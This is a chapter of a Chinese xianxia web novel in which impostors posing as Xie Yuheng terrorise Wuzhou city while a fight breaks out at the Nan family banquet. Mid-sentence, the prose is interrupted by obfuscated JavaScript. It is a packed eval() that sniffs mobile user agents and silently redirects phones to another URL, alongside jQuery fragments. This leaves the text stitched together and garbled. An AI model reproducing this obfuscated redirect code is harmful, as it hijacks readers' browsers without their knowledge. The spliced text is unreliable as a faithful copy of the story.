夜色阑珊,亥时未至。
城墙之上,有人拎着竹篮,招呼着连日赶工的工匠和阵修们歇一歇喝口水,众人抹了把汗端起水碗,无人察觉一滴水珠滴落在地面上时,瞬间化作了薄烟散开。
城中,百姓多已归家,有头有脸的人今日都被请去了南家赴宴,烟花之地也没什么生意,早早就关上了大门。
巡防军例行巡逻,到了点卯之处,领头军士便会在记录册中画上一笔,记录册合上,他转身带着手下继续巡视,却没有注意到自己刚刚握笔的手悄然泛起了一层青紫烟雾。
乌云遮月,夜色渐浓。
一队黑衣蒙面的人马突然疾驰在城中主干道上。马蹄下的铁掌重重地踩踏着青石路面,马上的人则挥舞着长刀,嘴里吆喝着什么。
路过的巡防军十分震惊,立刻想要追击,可是刚刚提起气息便觉腹部骤然刺痛,然后便一个个歪倒了下去。
有人被嘈杂声惊醒,想要推开窗户看看怎么回事。然而窗户刚被推开,一个火把便被迎面丢了过来,顺着窗户飞入屋内,点燃了室内的杂物!
哭喊和火光声中,这队人马在城中来回奔袭,一时间居然没人能拦下他们。原本城中巡防军可以守护夜间治安,但是此时的他们却尽数中毒晕倒,被人拖到了角落里往嘴里塞着毒丸。
又有一队人砸开了同祥酒楼的大门,火把烈烈中,领头的壮汉大声吆喝着拎出了守店的掌柜,把他往店外石路上一丢,喝道:“我们家主人说了,你在这里编排主人家的流言,该死!”
掌柜畏惧地蜷缩在地上,仰着头刚想争辩一二,那领头人却已经手起刀落,直接砍下了他的脑袋!
火光的映照下,那颗人头带着血滚出老远,滚到了同祥楼对面的店铺门口,躲在门后顺着门缝偷看的店家用力捂住了嘴,不敢发出丝毫声音。
那领头人举起手中长刀原地转了一圈,凶狠地看向周围安静的店铺门面。
“今日之事谁也不准说出去!谁敢多嘴,下一个掉脑袋的就是他!”
呵斥之间,马蹄声渐近,那队骑马的黑衣人行到了这个壮硕的领头人面前。
刚砍完人的领头壮汉突然变得十分乖顺,朝着为首马上的黑衣男子躬身行礼:“主人!”
那男子“嗯”了一声,眯眼看着四处燃起的火光和浓烟,满意地点了点头,抬手拉下了覆面的黑巾。
藏在各扇门后的店家不约而同地抽了口凉气,继而更加用力地捂住了自己的嘴。
那……那马上的黑衣人,居然是谢刺史的儿子,谢玉衡?!前日同祥楼掌柜请他们吃饭时刚给他们看过画像,还神情凝重地建议大家记住谢刺史家眷的样子,以免不知不觉间得罪了人家。
可是谁能想到,那么机敏的同祥楼掌柜,居然真的被谢家人砍死了!!
火光忽明忽暗,在“谢玉衡”的脸上映出明灭不定的阴影。他环视了一下周围的店铺,突然扬起唇来。
“都杀了吧。”他冷淡开口,“听到流言却不阻止,他们也该死。”
“是!”领头人高声领命,在那些店家的惊骇之中,带人踹开了他们的大门!
…………
南府。
愤怒的客人们情绪越来越激动,一拥而上冲向萧煜驰和谢玉筝。南家人冷眼旁观,连仆从都没有任何动作。人群之中,有人不知从哪里搞来了匕首,竟然高高地扬起了雪亮刀尖!
看见这扬起的刀刃,南昊礼眯起了眼,南景轩满脸冷漠,宋莹脸上也没了刚刚的惶恐,南景程垂下眼帘,柳如慧低头擦着唇角的血。
萧煜驰冷着脸没动,人群中反而有人一把将那匕首按下,然后一掌劈在那人的后脖颈。
拿匕首的人直接被劈晕,软软地倒了下去。但是周围的人仿佛看不见这一幕,依然互相推搡着往前涌,仿佛谢家兄妹是什么翻了众怒的人,今天必须生吞活剥了他们!
又有几人闪电出手,连续劈晕了周围数人。
这一幕发生得太快,南昊礼握紧鸠杖飞身而起时,萧煜驰已经迎了上来,直接一脚将他从空中踹落在地!
人群中倒下的人越来越多,南家的仆从终于反应过来上前帮忙,然而他们并不是来阻止愤怒的人群,而是来制止那些劈晕他人的“客人”。
就这样,现场的战场分出来两个,一边是仆从和那些“清醒的客人”,一边是萧煜驰和南昊礼。
南景程和南景轩夫妇不是修行中人,只能被管家护着后退。
“怎么回事?!”南景轩皱眉,急声问道,“那几个人怎么没有被控制?!不是一早安排好的吗?!”
管家也有些茫然,他急急从怀中掏出一个方方正正的灵宝往空中一丢,那灵宝在空中旋转,洒下一片金色柔光,罩在了花厅中所有人的身上。
萧煜驰身上的易容符立时消融,恢复了原本的模样。
那些与南家仆从们打在一处的“客人”们也容貌变化,竟然都是用了易容符的人!
“是你?!”南昊礼看清面前男人的容貌时吃了一惊,然而就是这惊讶的片刻,萧煜驰一掌拍在了他的胸口,灵力如刀刃一般刺穿了他的脏腑!
南昊礼“噗”的一声喷出一口血来。
…………
巫州城中,举着火把的壮汉把那些惊惧的店家从屋内拎出来丢在青石路上,逼着他们跪在“谢玉衡”面前。
“谢玉衡”垂眼睥睨着他们,他们一个个瑟瑟发抖,所跪之处还流淌着同祥楼掌柜的血。
“砍吧。”他冷冷道,“也该让巫州城里的百姓们知道,这巫州,到底是谁的巫州。”
那些店家心中恐惧到了极点,有人开始拼命磕头求饶,说着“巫州都是谢家的”“谢刺史千秋万代”之类的胡话。
马背上的“谢玉衡”嘴角噙起一丝得意笑意,他瞥了一眼不远处那些漆黑的百姓屋舍,那些门板和窗户后,是一双双偷偷看向这里的眼睛,“谢家”和“巫州刺史”的名声,在他们心目中应该已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271969|165365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经成了“恐怖”的代名词吧。
领头的壮汉应了一声,高高扬起了长刀,正要落下时,突然只觉手腕一软,长刀竟然直接从手中飞了出去。
“胆子不小,敢冒充本公子。”
一道声音从同祥楼房顶上传来,众人循声望去,便见一名劲装男子从屋顶飞身而下,落在那壮汉身前,一脚将他踹飞出去。
跪在地上的众人壮着胆子抬眼去看,这一看却是吃了一惊!
谢……谢玉衡?又一个谢玉衡?!
他们看看这个,又看看马上那个,马上的那个“谢玉衡”目光更加阴戾,手中马鞭猛然朝那刚落地的男人挥了出去。
其他手下也反应过来,朝着谢玉衡扑了过去,然而他们还没来得及迈脚,一阵箭雨便从四周射来,径直穿透了他们的胸口,带起一片血花。
马鞭被谢玉衡拽住,他顺势一带将那男人拽落马下,掌中符篆一巴掌拍在他的脸上,那张与谢玉衡一般无二的脸瞬间融化开来,恢复了本来的丑陋面貌。
“啧啧,”谢玉衡嫌弃地撇嘴,“就这副尊容气质,也想冒充本公子?!”
“怎……怎么会?!”被他按在地上的男人不可置信,“你……你不是去赴宴了吗?!”
“你们会用易容符,我们就不会用?”他一脚踏碎男人的胸骨,在他哀嚎声中站起身,冷冷道,“你们想破坏我们谢家名声,毒倒巡防军,破坏城墙护城大阵,最后让我们谢家背锅,我们就不会将计就计?!”
丑陋的男人终于疼晕过去,跪在地上的无辜店家也被一一扶起,众人千恩万谢中,谢玉衡走过去踢了一脚同祥楼掌柜的无头尸体,尸体“轰”的一声碎开,露出里面的木制机关。
“原来是一个傀儡。”谢玉衡转头看向目瞪口呆的店家们,呲牙一笑,“还好还好。”
他抬头看向那些浓烟升起之处,烟雾已经渐小,显然是有人已经将火势控制住了。
谢玉衡松了口气,如计划一般,引蛇出洞之后,这些毒蛇被精准地踩上了七寸。
…………
远处的城墙上白光一闪,一道无形的大阵顷刻间罩住了巫州城。
城墙之上,身着青衣的公羊悯长袖翻飞,迎风猎猎,这十年未曾启动的阵法,偷偷修复起来真是不易。
他藏于暗处,便是为了断巫月余孽的后路。
他转头看向南府的方向,皱起了眉。
那里还是灯火通明的模样,却不知里面的人此时如何了。
…………
看着那些清醒的“客人”们逐渐控制了局面,谢玉筝并不惊讶,他们都是萧煜驰的手下,是幽影司的人,这些安排谢玉筝都知道,谢诚和萧煜驰安排时并没有避着她。
此时的她只是“紧张”地看着与南昊礼纠缠的萧煜驰,仿佛一个被情形吓蒙了的少女。
余光之中,一个身影闪现在她身后,随即便有一只冰凉的手,悄然按住了她的肩头。
终于来了。